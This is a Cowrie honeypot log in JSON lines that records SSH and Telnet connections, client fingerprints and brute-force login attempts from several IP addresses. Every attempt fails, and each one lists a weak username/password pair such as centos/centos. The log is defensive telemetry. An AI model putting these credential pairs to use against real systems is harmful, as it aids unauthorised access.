{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30444,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdbd13c070e5","protocol":"ssh","message":"New connection: 141.11.88.14:30444 (10.17.0.5:22) [session: bdbd13c070e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:23.211982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:23.370660Z","src_ip":"141.11.88.14","session":"bdbd13c070e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:23.375355Z","src_ip":"141.11.88.14","session":"bdbd13c070e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:24.202327Z","src_ip":"141.11.88.14","session":"55a72dfecf85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123","message":"login attempt [marketing/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:25.516124Z","src_ip":"141.11.88.14","session":"bdbd13c070e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:25.665982Z","src_ip":"141.11.88.14","session":"55a72dfecf85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":33902,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd30bce3c78","protocol":"ssh","message":"New connection: 41.86.34.139:33902 (10.17.0.5:22) [session: fbd30bce3c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:25.951673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:25.956435Z","src_ip":"41.86.34.139","session":"fbd30bce3c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:26.164346Z","src_ip":"41.86.34.139","session":"fbd30bce3c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"george","password":"123456","message":"login attempt [george/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:27.025662Z","src_ip":"41.86.34.139","session":"fbd30bce3c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:28.238199Z","src_ip":"41.86.34.139","session":"fbd30bce3c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:28.735799Z","src_ip":"141.11.88.14","session":"bdbd13c070e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2caa108a5a","protocol":"ssh","message":"New connection: 141.11.88.14:63744 (10.17.0.5:22) [session: 6a2caa108a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:29.514716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:29.652344Z","src_ip":"141.11.88.14","session":"6a2caa108a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:29.655699Z","src_ip":"141.11.88.14","session":"6a2caa108a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seed","password":"seed","message":"login attempt [seed/seed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:32.145476Z","src_ip":"141.11.88.14","session":"6a2caa108a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:33.664559Z","src_ip":"141.11.88.14","session":"6a2caa108a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63790,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d7eb7ec236c","protocol":"ssh","message":"New connection: 141.11.88.14:63790 (10.17.0.5:22) [session: 0d7eb7ec236c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:36.759477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:36.999720Z","src_ip":"141.11.88.14","session":"0d7eb7ec236c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:37.005696Z","src_ip":"141.11.88.14","session":"0d7eb7ec236c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:38.902420Z","src_ip":"141.11.88.14","session":"0d7eb7ec236c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:40.013843Z","src_ip":"141.11.88.14","session":"0d7eb7ec236c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48582,"dst_ip":"10.17.0.5","dst_port":22,"session":"8162b2861cf9","protocol":"ssh","message":"New connection: 141.11.88.14:48582 (10.17.0.5:22) [session: 8162b2861cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:42.578562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:42.664418Z","src_ip":"141.11.88.14","session":"8162b2861cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:42.667239Z","src_ip":"141.11.88.14","session":"8162b2861cf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matias","password":"matias","message":"login attempt [matias/matias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:44.270428Z","src_ip":"141.11.88.14","session":"8162b2861cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:45.721340Z","src_ip":"141.11.88.14","session":"8162b2861cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":44486,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a88c8d3adf4","protocol":"ssh","message":"New connection: 211.253.37.225:44486 (159.203.135.109:22) [session: 0a88c8d3adf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:46.252251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:46.260462Z","src_ip":"211.253.37.225","session":"0a88c8d3adf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:46.469731Z","src_ip":"211.253.37.225","session":"0a88c8d3adf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deutsch","password":"deutsch123","message":"login attempt [deutsch/deutsch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:47.477232Z","src_ip":"211.253.37.225","session":"0a88c8d3adf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24804,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fdbd70c4c7","protocol":"ssh","message":"New connection: 141.11.88.14:24804 (10.17.0.5:22) [session: b3fdbd70c4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:48.194668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:48.355759Z","src_ip":"141.11.88.14","session":"b3fdbd70c4c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:48.359436Z","src_ip":"141.11.88.14","session":"b3fdbd70c4c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:48.736596Z","src_ip":"211.253.37.225","session":"0a88c8d3adf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:49.601566Z","src_ip":"141.11.88.14","session":"b3fdbd70c4c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:50.692606Z","src_ip":"141.11.88.14","session":"b3fdbd70c4c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58954,"dst_ip":"10.17.0.5","dst_port":23,"session":"d65cdb700310","protocol":"telnet","message":"New connection: 94.23.66.112:58954 (10.17.0.5:23) [session: d65cdb700310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:53.344900Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24854,"dst_ip":"10.17.0.5","dst_port":22,"session":"174392f12bc3","protocol":"ssh","message":"New connection: 141.11.88.14:24854 (10.17.0.5:22) [session: 174392f12bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:55.143783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:55.197131Z","src_ip":"141.11.88.14","session":"174392f12bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:55.298155Z","src_ip":"141.11.88.14","session":"174392f12bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elina","password":"elina","message":"login attempt [elina/elina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:55.606946Z","src_ip":"141.11.88.14","session":"174392f12bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:56.698546Z","src_ip":"141.11.88.14","session":"174392f12bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36746,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77ceb667d53","protocol":"telnet","message":"New connection: 128.199.8.54:36746 (159.203.135.109:23) [session: e77ceb667d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:58.462959Z"}
